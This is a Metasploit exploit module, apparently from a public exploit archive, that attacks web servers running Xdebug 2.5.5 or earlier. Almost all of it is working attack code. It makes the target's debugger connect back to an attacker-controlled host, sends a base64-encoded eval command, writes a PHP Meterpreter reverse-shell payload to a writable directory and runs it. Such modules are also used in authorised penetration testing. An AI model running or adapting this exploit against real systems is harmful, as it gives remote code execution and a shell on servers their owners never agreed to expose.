xdebug < 2.5.5 - OS Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Rex::Proto::Http include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'xdebug Unauthenticated OS Command Execution', 'Description' => %q{ Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below. This allows the attacker to execute arbitrary php code as the context of the web user. }, 'DisclosureDate' => 'Sep 17 2017', 'Author' => [ 'Ricter Zheng', #Discovery https://twitter.com/RicterZ 'Shaksham Jaiswal', # MinatoTW 'Mumbai' # Austin Hudson ], 'References' => [ ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'], ['URL', 'https://paper.seebug.org/397/'] ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => [ARCH_PHP], 'DefaultTarget' => 0, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [[ 'Automatic', {} ]], )) register_options([ OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]), OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]), OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]), Opt::RPORT(80), OptString.new('WriteableDir', [ true, "A writeable directory on the target", "/tmp"]) ]) end def check begin res = send_request_cgi({ 'uri' => datastore["PATH"], 'method' => 'GET', 'vars_get' => { 'XDEBUG_SESSION_START' => rand_text_alphanumeric(10) } }) vprint_status "Request sent\n#{res.headers}" if res && res.headers.to_s =~ /XDEBUG/i vprint_good("Looks like remote server has xdebug enabled\n") return CheckCode::Detected else return CheckCode::Safe end rescue Rex::ConnectionError return CheckCode::Unknown end end def exploit payl = Rex::Text.encode_base64("#{payload.encoded}") file = "#{datastore['WriteableDir']}"+"/"+rand_text_alphanumeric(5) cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("file_put_contents(\"#{file}\",base64_decode(\"#{payl}\")) && system(\" php #{file} \")") + "\x00" webserver = Thread.new do begin server = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['SRVPORT'], 'LocalHost' => datastore['SRVHOST'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self }) client = server.accept print_status("Waiting for client response.") data = client.recv(1024) print_status("Receiving response") vprint_line(data) print_status("Shell might take upto a minute to respond.Please be patient.") print_status("Sending payload of size #{cmd1.length} bytes") register_file_for_cleanup(file) client.write(cmd1) client.close server.close webserver.exit ensure webserver.exit end end send_request_cgi({ 'uri' => datastore['PATH'], 'method' => 'GET', 'headers' => { 'X-Forwarded-For' => "#{lhost}", 'Cookie' => 'XDEBUG_SESSION='+rand_text_alphanumeric(10) } }) end end |